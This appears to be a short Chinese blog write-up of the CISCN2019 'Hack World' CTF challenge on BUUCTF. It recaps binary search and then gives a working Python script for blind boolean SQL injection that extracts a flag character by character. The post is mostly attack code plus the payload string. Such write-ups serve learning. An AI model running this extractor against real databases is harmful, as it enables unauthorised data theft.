简单的注入脚本

凉凉，数据结构没学好，二分法都忘了

典型二分法

1. 思路

   • 数据（data)为升序排序，要在data中寻找定值key

   • 从中间的 data[mid]开始寻找

   • key大于data[mid] : 从data[mid+1]~data[end]

     key小于data[mid] : 从data[start]~data[mid-1]

     key等于data[mid] : 结束

[CISCN2019 华北赛区 Day2 Web1]Hack World

复现平台在BUUCTF

<img src="https://files-cdn.cnblogs.com/files/thenbz3/buuoj-hackworld.bmp" width="200" hegiht="100" />

import time
import requests


url = 'http://e208fef8-d158-4ae3-b566-0b6f9bdd4915.node1.buuoj.cn/'
flag = ''

for i in range(50):
    #从33到126为可打印的字符
    low = 33
    height = 126
    data = {'id':''}

    while low <= height :
        mid = (low + height) // 2
        data['id'] = 'if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)'%(i,mid)
        html = requests.post(url,data).text
        time.sleep(1)
        if 'Hello' in html :
            low = mid + 1
        else:
        #将小于和等于的状况一块儿考虑，因此在low~mid中间寻找
            height = mid
        #出现low = height = mid，若不判断会进入死循环
        if height == mid == low:
            break

    flag += chr(int(mid))
    print(flag)

if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2) Sql 注入 要学的骚操做不少，一条一条积累吧，等一有时间就把sqli-lab刷了 hhhh